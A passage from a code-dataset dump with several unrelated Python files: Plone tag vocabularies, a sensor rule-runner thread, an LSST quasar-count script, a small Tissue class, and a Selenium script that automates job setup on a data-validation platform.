:returns: Unicode string\n :rtype: String\n \"\"\"\n if not isinstance(s, unicode):\n return unicode(s, 'utf8')\n return s\n\n\n# XXX\n# FIX\ndef tags_published_highlighted():\n \"\"\"\n Return IDs and titles of published and pending tags that are marked as\n highlighted.\n\n :returns: Highlighted tags\n :rtype: List of Tuples\n \"\"\"\n with api.env.adopt_user('tags_user'):\n catalog = api.portal.get_tool(name='portal_catalog')\n tags = tuple((i.id, unicode(i.Title, 'utf8')) for i in catalog(\n portal_type='tribuna.content.tag',\n review_state=['published', 'pending'],\n sort_on=\"getObjPositionInParent\",\n highlight_in_navigation=True,\n ))\n return tags\n\n\n# XXX\n# FIX\ndef tags_published():\n \"\"\"\n Return IDs and titles of published and pending tags.\n\n :returns: Tags\n :rtype: List of Tuples\n \"\"\"\n with api.env.adopt_user('tags_user'):\n catalog = api.portal.get_tool(name='portal_catalog')\n tags = tuple((i.id, unicode(i.Title, 'utf8')) for i in catalog(\n portal_type='tribuna.content.tag',\n review_state=['published', 'pending'],\n sort_on=\"sortable_title\"\n ))\n return tags\n\n\ndef tags_published_dict(reverse=False):\n \"\"\"\n Return a dictionary of published tags. Keys are IDs, values are titles, can\n be reversed.\n\n :param reverse: Reverse the keys and values\n :type reverse: Boolean\n\n :returns: Dictionary with ID-title relations of published tags\n :rtype: Dictionary\n \"\"\"\n if reverse:\n return dict((i[1], i[0]) for i in tags_published())\n return dict(tags_published())\n\n\ndef tags_string_to_list(s):\n \"\"\"\n Convert a string of tag IDs to a list of tag titles.\n\n :param s: String of tag IDs\n :type s: String\n\n :returns: List of tag titles\n :rtype: List\n \"\"\"\n if not s:\n return []\n tags_dict = tags_published_dict()\n return [tags_dict.get(i) for i in s.split(',')]\n\n\nclass TagsListHighlighted(object):\n \"\"\"Return a vocabulary of highlighted tags\"\"\"\n grok.implements(IContextSourceBinder)\n\n def __init__(self):\n pass\n\n def __call__(self, context):\n \"\"\"\n Get simple vocabulary.\n\n :param context: Current context\n :type context: Context object\n\n :returns: vocabulary of highlighted tags\n :rtype: SimpleVocabulary\n \"\"\"\n items = tags_published_highlighted()\n terms = [SimpleVocabulary.createTerm(i[1], i[0], i[1]) for i in items]\n return SimpleVocabulary(terms)\n\n\nclass TagsListHighlightedSidebar(object):\n \"\"\"\n Return a vocabulary of highlighted tags. Here we set the second parameter\n to the ID, because using Titles in GET requests might cause problems.\n \"\"\"\n grok.implements(IContextSourceBinder)\n\n def __init__(self):\n pass\n\n def __call__(self, context):\n \"\"\"\n Get simple vocabulary.\n\n :param context: Current context\n :type context: Context object\n\n :returns: vocabulary of highlighted tags\n :rtype: SimpleVocabulary\n \"\"\"\n items = tags_published_highlighted()\n terms = [SimpleVocabulary.createTerm(i[0], i[0], i[1]) for i in items]\n return SimpleVocabulary(terms)\n\n\nclass TagsList(object):\n \"\"\"Return a vocabulary of all tags\"\"\"\n grok.implements(IContextSourceBinder)\n\n def __init__(self):\n pass\n\n def __call__(self, context):\n \"\"\"\n Get simple vocabulary.\n\n :param context: Current context\n :type context: Context object\n\n :returns: vocabulary of all tags\n :rtype: SimpleVocabulary\n \"\"\"\n items = tags_published()\n terms = [SimpleVocabulary.createTerm(i[0], i[0], i[1]) for i in items]\n return SimpleVocabulary(terms)\n\n\nclass UtilsView(grok.View):\n \"\"\"View with useful utility methods.\"\"\"\n grok.context(Interface)\n grok.name('utils')\n\n def translate(self, string):\n \"\"\"\n Internally translate a string.\n\n :param string: String that we want to translate\n :type string: String\n\n :returns: Translated string\n :rtype: String\n \"\"\"\n return self.context.translate(_(string))\n\n def render(self):\n return ''\n\n\ndef quotestring(s):\n return '\"%s\"' % s\n\n\ndef quote_bad_chars(s):\n bad_chars = [\"(\", \")\"]\n for char in bad_chars:\n char = our_unicode(char)\n s = s.replace(char, quotestring(char))\n return s\n\n\ndef prepare_search_string(q):\n multispace = u'\\u3000'.encode('utf-8')\n for char in ('?', '-', '+', '*', multispace):\n char = our_unicode(char)\n q = q.replace(char, ' ')\n r = q.split()\n r = \" AND \".join(r)\n return quote_bad_chars(r) + '*'\n","sub_path":"tribuna/content/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":12653,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"652191017","text":"\"\"\" RunnerThread class module.\n\"\"\"\n\nfrom threading import Thread\nfrom typing import List, Dict\nfrom datetime import datetime\nfrom dms2021sensor.logic import RuleManager, LogManager\nfrom dms2021sensor.data.db.results import Rule\n\nclass RunnerThread(Thread):\n \"\"\" Background thread that runs rules automatically and logs results\n \"\"\"\n def set_up(self, rule_manager: RuleManager, log_manager: LogManager):\n \"\"\" Sets up the objects for the thread\n \"\"\"\n self.rule_manager = rule_manager\n self.log_manager = log_manager\n self.rules: List[Rule] = []\n self.rule_manager.create_rule(\"Archivo file.txt\", \"file\", \"/tmp/sensor-volume/file.txt\", 30)\n self.rule_manager.create_rule(\"Estado memoria\", \"command\", \"free -m\", 30)\n self.rule_manager.create_rule(\"Uso CPU\", \"cpu\",\n \"all\", 30)\n self.rule_manager.create_rule(\"Info kernel\", \"command\", \"uname -a\", 0)\n self.last_runs: Dict[str, datetime] = {}\n\n def run(self):\n \"\"\" Runs the thread\n \"\"\"\n self.update_rule_list()\n for rule in self.rules:\n if rule.frequency != 0:\n if rule.rule_name not in self.last_runs:\n self.last_runs[rule.rule_name] = datetime.now()\n self.rule_manager.run_rule(rule.rule_name, self.log_manager)\n else:\n difference = datetime.now() - self.last_runs[rule.rule_name]\n if difference.total_seconds() > rule.frequency:\n self.last_runs[rule.rule_name] = datetime.now()\n self.rule_manager.run_rule(rule.rule_name, self.log_manager)\n\n def update_rule_list(self):\n \"\"\" Updates the rule list\n \"\"\"\n self.rules = self.rule_manager.get_all_rules()\n","sub_path":"components/dms2021sensor/dms2021sensor/logic/rulerunners/runnerthread.py","file_name":"runnerthread.py","file_ext":"py","file_size_in_byte":1801,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"626148831","text":"#/usr/bin/env python\n\nimport numpy as np\nfrom astropy.table import Table\nimport astropy.units as u\nimport multiprocessing as mp\nfrom functools import partial\n\nimport os\nimport re\nroot_path = re.search(\"(.*/AGN_Photoz_LSST_OpSim)/*\",os.getcwd()).group(1)\n\nimport sys\nsys.path.append(root_path+\"/QLFs/\")\n\nsys.path.append(root_path+\"/Quasar_Counts/\")\nfrom Nqso_v2_MiLim import Nqso\n\nfrom astropy.cosmology import FlatLambdaCDM\ncosmo = FlatLambdaCDM(H0=70, Om0=0.3, Tcmb0=2.725)\n\nsys.path.append(root_path+\"/Filter_Curves/\")\nfrom lam_eff import lam_eff\n\n###\n\ndef get_Nqso(z, m, LSSTfilter, qlf, mstar_data, Mi_lim, area, cosmo, m_index_use):\n N = np.zeros((len(m_index_use),len(z)-1))\n for j,i in enumerate(m_index_use):\n for k in range(len(z[:-1])):\n N[j,k] = Nqso(z[k], z[k+1], m[i], m[i+1], LSSTfilter, qlf, area=area, mstar_data=mstar_data, Mi_lim=Mi_lim, cosmo=cosmo)\n return N\n\nif len(sys.argv)!=4 and len(sys.argv)!=5:\n print(\"Correct use: python\",sys.argv[0],\" qlf_module qlf_model filter [SED_model]\")\n sys.exit()\n\nqlf_module = sys.argv[1]\nqlf_model = sys.argv[2]\nLSSTfilter = sys.argv[3]\nif len(sys.argv)==5:\n SED_model = sys.argv[4]\nelse:\n SED_model = \"Richards06\"\n\n#Create the QLF object.\nexec(\"import {}\".format(qlf_module))\nexec(\"qlf = {0}.QLF(model=\\\"{1}\\\")\".format(qlf_module, qlf_model))\n\n#Define the area so that we get the number per square degrees.\narea = 1.0*u.deg**2\n\n#Read the appropriate mstar data file.\nmstar_data = Table.read(root_path+\"/mstar_estimates/mstar_z.{0}.{1}.{2}.dat\".format(SED_model, qlf_module, qlf_model), format='ascii')\n\n#Only allow the redshifts ranges to get up to the point where the effective wavelength of the filter is longwards of the Lyman break.\ndz = 0.1\nzmin = 0.1\nzmax = np.min([7.0, (lam_eff[LSSTfilter]/(912.*u.AA)).to(1.).value])\nz = np.arange(zmin, zmax+0.1*dz, dz)\n#z = np.arange(0.1, 7.0, 0.1)\n#m = np.arange(15.7, 26.3, 0.1)\nm = np.arange(10.0, 28.0, 0.1)\n\n#z = np.arange(5.0, 6.0, 0.2)\n#z = np.arange(1.0, 2.0, 0.2)\n#m = np.arange(20.0, 22.0, 0.2)\n\nNcpu = mp.cpu_count()-1\nm_index_use = np.arange(len(m)-1)\nm_index_use_split = np.array_split(m_index_use, Ncpu)\n\nMi_lim = -20\nPool = mp.Pool(Ncpu)\nfunc = partial(get_Nqso, z, m, LSSTfilter, qlf, mstar_data, Mi_lim, area, cosmo)\n\nOutput = Pool.map(func, m_index_use_split)\nOutput = np.vstack(Output)\nPool.close()\n\ncato = open(\"Long_Table.{0}.{1}.{2}.{3}.txt\".format(LSSTfilter, qlf_module, qlf_model, SED_model),\"w\")\nfor i in range(len(m)):\n cato.write(\"{0:5.1f} \".format(m[i]))\ncato.write(\"\\n\")\nfor k in range(len(z)):\n cato.write(\"{0:5.1f} \".format(z[k]))\ncato.write(\"\\n\")\n\nfor i in range(len(m[:-1])):\n for k in range(len(z[:-1])):\n cato.write(\"{0:15.3e}\".format(Output[i,k]))\n cato.write(\"\\n\")\n\ncato.close()\n","sub_path":"Nqso_WFD_miniSurveys/General/Long_Table.py","file_name":"Long_Table.py","file_ext":"py","file_size_in_byte":2784,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"523839494","text":"import Gene\r\n\r\n\r\nclass Tissue:\r\n \"\"\"Keeps track of the name and the genes that are highly expressed in this Tissue.\"\"\"\r\n\r\n def __init__(self, name: str, genes: list) -> None:\r\n \"\"\"Initialize a new Tissue object.\"\"\"\r\n if name != name:\r\n self.name = \"unidentified\"\r\n else:\r\n self.name = name\r\n self.genes = genes\r\n\r\n self.gene_num = 0\r\n\r\n\r\n\r\n def add_gene(self, gene: Gene) -> None:\r\n \"\"\"Add a new Gene to the existing list of Genes.\"\"\"\r\n self.genes.append(gene)\r\n self.gene_num += 1\r\n\r\n ","sub_path":"Tissue.py","file_name":"Tissue.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"80580230","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue May 15 12:21:22 2018\n\n@author: Shaun.Mendes\n\"\"\"\n\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.chrome.options import Options\nimport time\nfrom django.utils import timezone\nfrom job_automation.models import JobDetails\n\nclass chrome():\n\n def __init__(self,driver):\n chrome.driver=driver\n\n#enter website\n def website(self,url):\n self.driver.get(url)\n\nclass v4:\n \n#enter credentials\n def site_credentials(username,password):\n chrome.driver.find_element_by_id('username').send_keys(username)\n chrome.driver.find_element_by_id('password').send_keys(password)\n chrome.driver.find_element_by_tag_name('button').click()\n\n#enter particular task\n def tasks(name):\n chrome.driver.find_element_by_css_selector('.fa.fa-tasks.fa-lg').click()\n chrome.driver.find_element_by_xpath('//*[@title=\"'+name+'\"]').click()\n\n#create new job\n def create_new():\n chrome.driver.find_element_by_css_selector('.glyphicon.glyphicon-plus').click()\n\n def search(content):\n chrome.driver.find_element_by_id('searchInput').clear()\n time.sleep(0.5)\n chrome.driver.find_element_by_id('searchInput').send_keys(content)\n time.sleep(0.5)\n chrome.driver.find_element_by_css_selector('.btn.btn-default').click()\n \n def close_window():\n comp=chrome.driver.find_elements_by_class_name('close')[0]\n perform=webdriver.ActionChains(chrome.driver).move_to_element(comp)\n perform.click().perform()\n print('Flow Already exists')\n \n def look_similar(cc,kind):\n chrome.driver.find_element_by_id('searchInput').clear()\n chrome.driver.find_element_by_id('searchInput').send_keys(cc+'_'+kind)\n chrome.driver.find_element_by_css_selector('.btn.btn-default').click()\n present=chrome.driver.find_elements_by_css_selector('.glyphicon.glyphicon-trash')\n if len(present)!=0:\n return True\n else:\n return False\n \n def check_duplicates(task,para,data,wait=10):\n chrome.driver.implicitly_wait(1)\n v4.tasks(task)\n exists=[]\n for i in range(data.shape[0]):\n cc=str(data.loc[i,'country'].replace(' ','_')+'_'+data.loc[i,'subcategorycode'])\n if v4.look_similar(cc,para)==True:\n print(cc+'_'+para+' already exists hence will not be created')\n exists.append(cc)\n chrome.driver.find_element_by_css_selector('.fa.fa-home.fa-lg').click()\n chrome.driver.implicitly_wait(wait)\n return exists\n \n def edit():\n chrome.driver.find_element_by_css_selector('.glyphicon.glyphicon-edit').click()\n time.sleep(1)\n\n def click():\n chrome.driver.find_element_by_css_selector('.glyphicon.glyphicon-play').click()\n time.sleep(1)\n \n def back():\n time.sleep(1)\n chrome.driver.execute_script('window.history.go(-1)')\n \n def delete():\n try:\n time.sleep(1)\n chrome.driver.find_element_by_css_selector('.glyphicon.glyphicon-trash').click()\n except:\n print(fill_parameters.cc+\"_E2E doesn't exist\")\n return\n chrome.driver.find_element_by_css_selector('.btn.btn-primary').click()\n\nclass fill_parameters():\n \n def __init__(self,country,subcategory,subcategorycode,subcatgoryid,hierarchy,extract_name,date_format,\n value,volume,parent_market,flow,promo_value,promo_volume,countryid,is_promo,is_split,template):\n \n fill_parameters.country=country\n fill_parameters.subcategory=subcategory\n fill_parameters.subcategorycode=subcategorycode\n fill_parameters.subcategoryid=subcatgoryid\n fill_parameters.hierarchy=hierarchy\n fill_parameters.extract_name=extract_name\n fill_parameters.date_format=date_format\n fill_parameters.cc=str(country.replace(' ','_')+'_'+subcategorycode)\n fill_parameters.parent_market=parent_market\n fill_parameters.value=value\n fill_parameters.volume=volume\n fill_parameters.flow=flow\n fill_parameters.promo_value=promo_value\n fill_parameters.promo_volume=promo_volume\n fill_parameters.countryid=countryid\n fill_parameters.template=template\n fill_parameters.is_promo=is_promo\n fill_parameters.is_split=is_split\n\n\nclass job:\n \n#pick parameters from template\n def option(el,temp_col):\n for option in el.find_elements_by_tag_name('option'):\n if option.text == temp_col:\n option.click()\n break \n \n#set manual parameters\n def para_man(param,fill):\n try:\n ex=chrome.driver.find_element_by_xpath('//td[contains(text(),\"'+param+'\")]/..//td[4]//button')\n ex.click()\n time.sleep(0.75)\n chrome.driver.find_element_by_id('cvm-assignment').send_keys('Manual')\n time.sleep(0.75)\n temp=chrome.driver.find_element_by_id('cvm-valuemanual')\n temp.clear()\n temp.send_keys(fill)\n time.sleep(0.75)\n chrome.driver.find_element_by_id('cvm-valuemanual').send_keys(Keys.TAB+Keys.ENTER)\n time.sleep(0.25)\n except:\n try: \n time.sleep(0.75)\n chrome.driver.find_elements_by_class_name('close')[3].click()\n job.para_man(param,fill)\n except:\n pass\n\n\n#set database parameters \n def para_data(param,fill):\n try:\n ex=chrome.driver.find_element_by_xpath('//td[contains(text(),\"'+param+'\")]/..//td[4]//button')\n ex.click()\n time.sleep(0.25)\n chrome.driver.find_element_by_id('cvm-assignment').send_keys('Database')\n time.sleep(0.25)\n chrome.driver.find_element_by_xpath(\"//select[@id='cvm-database']/option[text()='\"+fill+\"']\").click()\n time.sleep(0.25)\n chrome.driver.find_element_by_id('cvm-database').send_keys(Keys.TAB+Keys.ENTER)\n time.sleep(0.25)\n except:\n try:\n time.sleep(1)\n chrome.driver.find_elements_by_class_name('close')[3].click()\n job.para_data(param,fill)\n except:\n pass\n \n\n#set template parameters\n def para_temp(param,fill):\n try:\n ex=chrome.driver.find_element_by_xpath('//td[contains(text(),\"'+param+'\")]/..//td[4]//button')\n ex.click()\n time.sleep(0.25)\n chrome.driver.find_element_by_id('cvm-assignment').send_keys('Template')\n opt = chrome.driver.find_element_by_id('bootstrap-duallistbox-nonselected-list_cvm-template-Remove Duplicates')\n time.sleep(0.25)\n for f in fill:\n template=fill_parameters.template+'/'+f\n job.option(opt,template)\n chrome.driver.find_element_by_css_selector('.btn.moveall.btn-default').send_keys(Keys.TAB+Keys.TAB+Keys.TAB+Keys.TAB+Keys.TAB+Keys.ENTER)\n time.sleep(0.5)\n except:\n try:\n time.sleep(1)\n chrome.driver.find_elements_by_class_name('close')[3].click()\n job.para_temp(param,fill)\n except:\n pass\n\n \n#use all template parameters\n def para_temp_all(para):\n try:\n ex=chrome.driver.find_element_by_xpath('//td[contains(text(),\"'+para+'\")]/..//td[4]//button')\n ex.click()\n time.sleep(0.25)\n chrome.driver.find_element_by_id('cvm-assignment').send_keys('Template')\n chrome.driver.find_element_by_css_selector('.btn.moveall.btn-default').click()\n time.sleep(0.25)\n chrome.driver.find_element_by_css_selector('.btn.moveall.btn-default').send_keys(Keys.TAB+Keys.TAB+Keys.TAB+Keys.TAB+Keys.TAB+Keys.ENTER)\n time.sleep(0.25)\n except:\n try:\n time.sleep(1)\n chrome.driver.find_elements_by_class_name('close')[3].click()\n job.para_temp_all(para)\n except:\n pass\n\n\n#set dictionary parameters\n def para_dict(param,fill):\n try:\n chrome.driver.find_element_by_xpath('//td[contains(text(),\"'+param+'\")]/..//td[4]//button').click()\n time.sleep(0.25)\n chrome.driver.find_element_by_xpath(\"//select[@id='dvm-assigned-dictionary']/option[text()='\"+fill+\"']\").click()\n time.sleep(0.25)\n chrome.driver.find_element_by_id('dvm-parameters').send_keys(Keys.TAB+Keys.ENTER)\n time.sleep(0.5)\n except:\n try:\n time.sleep(1)\n chrome.driver.find_elements_by_class_name('close')[3].click()\n job.para_dict(param,fill)\n except:\n pass\n \n #scroll to view\n def get_view(comp):\n chrome.driver.execute_script(\"arguments[0].scrollIntoView(true);\", comp)\n time.sleep(1)\n\n#click on component\n def select_comp(comp):\n location=comp.location_once_scrolled_into_view\n chrome.driver.execute_script(\"window.scrollTo(\"+str(location['x'])+\", \"+str(location['y'])+\")\")\n webdriver.ActionChains(chrome.driver).move_to_element(comp).click(comp).perform()\n time.sleep(1)\n \n#save data\n def save_data():\n try:\n chrome.driver.find_element_by_tag_name('body').send_keys(Keys.CONTROL + Keys.END)\n time.sleep(1)\n add=chrome.driver.find_elements_by_xpath(\"//button[@type='submit']\")[-1]\n job.select_comp(add)\n element = chrome.driver.find_element_by_xpath(\"//*[@onclick='javascript: saveJob();']\")\n chrome.driver.execute_script(\"arguments[0].click();\", element)\n chrome.driver.find_element_by_css_selector('.list-group-item.draggable').click()\n time.sleep(1)\n except Exception as e:\n print(e)\n try:\n time.sleep(1)\n chrome.driver.find_elements_by_class_name('close')[3].click()\n job.save_data()\n except Exception as e:\n print(e)\n pass\n \n#set job fields\n def set_fields(field,value):\n chrome.driver.find_element_by_css_selector('.btn.btn-default.dropdown-toggle').click()\n chrome.driver.find_elements_by_xpath(\"//*[contains(text(), 'Custom')]\")[0].click()\n time.sleep(0.25)\n chrome.driver.find_element_by_id('pe-name').send_keys(field)\n chrome.driver.find_element_by_id('pe-value').send_keys(value)\n chrome.driver.find_element_by_id('pe-value').send_keys(Keys.TAB+Keys.ENTER)\n time.sleep(0.50)\n \n#go back to jobs menu\n def go_to_job():\n chrome.driver.find_element_by_tag_name('body').send_keys(Keys.CONTROL + Keys.HOME)\n time.sleep(0.)\n chrome.driver.find_elements_by_css_selector('.btn.btn-link')[0].click()\n\n#set job description\n def job_desc():\n chrome.driver.find_element_by_id('jobdescription').click()\n job_desc=chrome.driver.find_element_by_css_selector('.form-control.input-sm')\n job_desc.clear()\n job_desc.send_keys(fill_parameters.country+'_'+fill_parameters.subcategory.replace(' ','_'))\n chrome.driver.find_element_by_css_selector('.glyphicon.glyphicon-ok').click()\n\n#set job name\n def job_name():\n chrome.driver.find_element_by_id('jobname').click()\n job_name=chrome.driver.find_element_by_css_selector('.form-control.input-sm')\n job_name.clear()\n job_name.send_keys(fill_parameters.cc+'_E2E')\n chrome.driver.find_element_by_css_selector('.glyphicon.glyphicon-ok').click()\n\n#select cc flow \n def sel_flow():\n chrome.driver.find_elements_by_css_selector('.btn-group.btn-group-xs.pull-right')[1].click()\n chrome.driver.find_element_by_id('fe-label').send_keys(fill_parameters.flow)\n time.sleep(0.25)\n chrome.driver.find_element_by_xpath(\"//option[text()='\"+fill_parameters.flow+\"']\").click()\n time.sleep(0.1)\n\n#Add file format\n def file_format():\n chrome.driver.find_element_by_tag_name('body').send_keys(Keys.CONTROL + Keys.HOME)\n time.sleep(0.1)\n chrome.driver.find_element_by_css_selector('.glyphicon.glyphicon-cog').click()\n time.sleep(0.1)\n chrome.driver.find_elements_by_css_selector('.glyphicon.glyphicon-plus')[2].click()\n time.sleep(0.1)\n chrome.driver.find_elements_by_css_selector('.glyphicon.glyphicon-plus')[3].click()\n time.sleep(1)\n chrome.driver.find_element_by_id('fie-name').send_keys(fill_parameters.extract_name)\n time.sleep(1)\n chrome.driver.find_element_by_id('fie-validity').send_keys('Monthly')\n chrome.driver.find_element_by_id('fie-date-format').send_keys(fill_parameters.date_format)\n chrome.driver.find_element_by_id('fie-locale').send_keys('English')\n chrome.driver.find_element_by_id('fie-encoding').send_keys('UTF-8')\n chrome.driver.find_element_by_id('fie-template').send_keys(fill_parameters.template)\n chrome.driver.find_element_by_id('fie-template').send_keys(Keys.TAB+Keys.SPACE)\n time.sleep(0.1)\n \n \nclass Flow():\n\n def __init__(self,number):\n self.number = number\n \n def create_new(self,name):\n V4.search(name)\n chrome.driver.find_elements_by_css_selector('.btn.btn-default')[1].click()\n time.sleep(0.5)\n comp=chrome.driver.find_elements_by_id('name')[1]\n perform=webdriver.ActionChains(chrome.driver).move_to_element(comp)\n perform.click().perform()\n time.sleep(0.5)\n flow_name=fill_parameters.cc+'_Flow'\n perform.send_keys(flow_name+Keys.TAB+flow_name+Keys.TAB+Keys.SPACE).perform()\n time.sleep(1)\n \n def flow_click(self):\n chrome.driver.find_element_by_class_name('list-group').click()\n\n#select remove duplicates\n def remove_duplicates(self):\n try:\n time.sleep(1)\n rem_dup=chrome.driver.find_element_by_xpath(\".//*[contains(text(), 'Remove')]/..//*[contains(text(), 'Duplicates')]\")\n job.select_comp(rem_dup)\n except:\n print('Remove Duplicates Skipped')\n return\n job.para_temp_all(\"Attributes\")\n\n \n#select period parser\n def period_parser(self):\n try:\n period=chrome.driver.find_element_by_xpath(\"//*[contains(text(), 'Period Parser')]\")\n job.select_comp(period)\n except:\n jd = JobDetails(status = 'Period Parser Skipped', message_type = 'warning', transId_id = self.number , updateTime = timezone.now())\n jd.save()\n return\n job.para_temp(\"Period Attribute\",['period'])\n \n#select periodicity completeness\n def periodicity_completeness(self):\n try:\n periodicity_completeness=chrome.driver.find_element_by_xpath(\"//*[contains(text(), 'Periodicity')]/..//*[contains(text(), 'Completeness')]\")\n job.select_comp(periodicity_completeness)\n except:\n jd = JobDetails(status = 'Periodicity Completeness Skipped', message_type = 'warning', transId_id = self.number , updateTime = timezone.now())\n jd.save()\n # print('Periodicity Completeness Skipped')\n return\n job.para_man(\"Database Table Name\",'map_periodicity')\n job.para_man(\"Delete Period Before Date(Format : YYYY-MM-dd)\",'Not Required')\n job.para_data(\"Database Config\",'RMS_MappingDB')\n job.para_man(\"Database Column Name\",'noofperiods')\n job.para_man(\"Period Column\",'#LATEST_DATE')\n \n #select Last Period Validation\n def last_period_validation(self):\n try:\n last_prd_val=chrome.driver.find_element_by_xpath(\"//*[contains(text(), 'Last Period')]/..//*[contains(text(), 'Validation')]\")\n job.select_comp(last_prd_val)\n except:\n jd = JobDetails(status = 'Last Period Validation Skipped', message_type = 'warning', transId_id = self.number , updateTime = timezone.now())\n jd.save()\n # print('Last Period Validation Skipped')\n return\n job.para_man(\"Database Table Name\",'map_periodicity')\n job.para_data(\"Database Configuration\",'RMS_MappingDB')\n job.para_man(\"Column Name\",'last_period')\n job.para_man(\"Date column name\",'#LATEST_DATE')\n \n #select Measure Completeness\n def measure_completeness(self):\n try:\n measure=chrome.driver.find_element_by_xpath(\"//*[contains(text(), 'Measure')]/..//*[contains(text(), 'Completeness')]\")\n job.select_comp(measure)\n except:\n jd = JobDetails(status = 'Measue Completeness Skipped', message_type = 'warning', transId_id = self.number , updateTime = timezone.now())\n jd.save()\n # print('Measue Completeness Skipped')\n return\n job.para_temp(\"Enter Facts Column Name\",['value','volume','promo_value','promo_volume'])\n \n \n#select product consistency\n def product_consistency(self):\n try:\n product_consistency=chrome.driver.find_element_by_xpath(\"//*[contains(text(), 'Product')]/..//*[contains(text(), 'Consistency')]\")\n job.select_comp(product_consistency)\n except:\n jd = JobDetails(status = 'Product Consistenct Skipped', message_type = 'warning', transId_id = self.number , updateTime = timezone.now())\n jd.save()\n # print('Product Consistenct Skipped')\n return\n job.para_man('Channel_Name','market')\n job.para_man('Skip the component?','no')\n job.para_man('Hierarchy',fill_parameters.hierarchy)\n job.para_temp('Additive Measures',['value','volume','promo_value','promo_volume'])\n job.para_temp('Time Period',['period'])\n job.para_man('Reference Threshold','0.25')\n job.para_temp('Non Additive Measures',['wd','nd'])\n job.para_temp('Product Description',['prod_desc'])\n\n #select update hashkey\n def update_product_hashkey(self):\n try:\n update_hashkey=chrome.driver.find_element_by_xpath(\"//*[contains(text(), 'Update Product')]/..//*[contains(text(), 'Hashkey')]\")\n job.select_comp(update_hashkey)\n except:\n jd = JobDetails(status = 'Update Product Hashkey Skipped', message_type = 'warning', transId_id = self.number , updateTime = timezone.now())\n jd.save()\n # print('Update Product Hashkey Skipped')\n return\n job.para_man('Complete Hierarchy','prod_desc,manufacturer,brand,subbrand,variant')\n \n #select update hashkey\n def update_product_hierarchy(self):\n try:\n update_hierarchy=chrome.driver.find_element_by_xpath(\"//*[contains(text(), 'Update Product')]/..//*[contains(text(), 'Hierarchy')]\")\n job.select_comp(update_hierarchy)\n except:\n jd = JobDetails(status ='Update product hierarchy skipped', message_type = 'warning', transId_id = self.number , updateTime = timezone.now())\n jd.save()\n # print('Update product hierarchy skipped')\n return\n job.para_man('Please Enter hierarchy to check [manufacturer mandatory]',fill_parameters.hierarchy)\n \n #select product completeness\n def product_completeness(self):\n try:\n product_completeness=chrome.driver.find_element_by_xpath(\"//*[contains(text(), 'Product')]/..//*[contains(text(), 'Completeness')]\")\n job.select_comp(product_completeness)\n except:\n jd = JobDetails(status = 'Product Completeness Skipped', message_type = 'warning', transId_id = self.number , updateTime = timezone.now())\n jd.save()\n # print('Product Completeness Skipped')\n return\n job.para_man('Complete Hierarchy','hashkey,prod_desc,'+fill_parameters.hierarchy)\n job.para_man('Column To Mapped',fill_parameters.hierarchy.split(',')[-1])\n job.para_data('Database Configuration','RMS_ProductMappingDB')\n \n #select market completeness\n def market_completeness(self):\n try:\n market_completeness=chrome.driver.find_element_by_xpath(\"//*[contains(text(), 'Market')]/..//*[contains(text(), 'Completeness')]\")\n job.select_comp(market_completeness)\n except:\n jd = JobDetails(status = 'Market Completeness Skipped', message_type = 'warning', transId_id = self.number , updateTime = timezone.now())\n jd.save()\n # print('Market Completeness Skipped')\n return\n job.para_man('Column To Mapped','{market_local:market}')\n job.para_dict('Attribute Completeness Dictionary For Log',fill_parameters.cc+'_Market_Completeness')\n \n #select market consistency\n def market_consistency(self):\n try:\n market_consistency=chrome.driver.find_element_by_xpath(\"//*[contains(text(), 'Market')]/..//*[contains(text(), 'Consistency')]\")\n job.select_comp(market_consistency)\n except:\n jd = JobDetails(status = 'Market Consistency Skipped', message_type = 'warning', transId_id = self.number , updateTime = timezone.now())\n jd.save()\n # print('Market Consistency SKipped')\n return\n job.para_man('Enter Parent Market',fill_parameters.parent_market)\n job.para_temp('Enter Market column',['market'])\n job.para_man('Enter the threshold value','1')\n job.para_man('Skip the component?','no')\n job.para_temp('Enter Period Column',['period'])\n job.para_man('Do you want to check on Manufacturer[yes/no]','No')\n job.para_temp('Enter the Manufacturer Column Name',['manufacturer'])\n job.para_temp('Enter Facts Columns',['value','volume','promo_value','promo_volume'])\n \n #select manufacturer completeness\n def manufacturer_completeness(self):\n try:\n manufacturer_completeness=chrome.driver.find_element_by_xpath(\"//*[contains(text(), 'Manufacturer')]/..//*[contains(text(), 'Completeness')]\")\n job.select_comp(manufacturer_completeness)\n except:\n jd = JobDetails(status = 'Manufactuer Completeness Skipped', message_type = 'warning', transId_id = self.number , updateTime = timezone.now())\n jd.save()\n # print('Manufactuer Completeness Skipped')\n return\n job.para_man('Column To Mapped','{manufacturer_local:manufacturer}')\n job.para_dict('Attribute Completeness Dictionary For Log',fill_parameters.cc+'_Manufacturer_Completeness')\n \n #select periodicity consistency\n def periodicity_consistency(self):\n try:\n perd_consistency=chrome.driver.find_element_by_xpath(\"//*[contains(text(), 'Periodicity')]/..//*[contains(text(), 'Consistency')]\")\n job.select_comp(perd_consistency)\n except:\n jd = JobDetails(status = 'Periodicity Consistency Skipped', message_type = 'warning', transId_id = self.number , updateTime = timezone.now())\n jd.save()\n # print('Periodicity Consistency Skipped')\n return\n job.para_temp('Fact Column name',['value','volume'])\n job.para_temp('Groupby column name',['market','period'])\n \n #select additive measure consistency\n def additive_measure_consistency(self):\n try:\n add_measure_consistency=chrome.driver.find_element_by_xpath(\"//*[contains(text(), 'Additive Measure')]/..//*[contains(text(), 'Consistency')]\")\n job.select_comp(add_measure_consistency)\n except:\n jd = JobDetails(status = 'Additive Measure Consistency Skipped', message_type = 'warning', transId_id = self.number , updateTime = timezone.now())\n jd.save()\n # print('Additive Measure Consistency Skipped')\n return\n if fill_parameters.is_promo==1:\n job.para_man('Enter Fact columns','{value:volume},{promo_value:promo_volume}')\n elif fill_parameters.is_promo==0:\n job.para_man('Enter Fact columns','{value:volume}')\n\n \n #select non additive consistency\n def non_additive_measure_consistency(self):\n try:\n product_consistency=chrome.driver.find_element_by_xpath(\"//*[contains(text(), 'Non Additive')]/..//*[contains(text(), 'Consistency')]\")\n 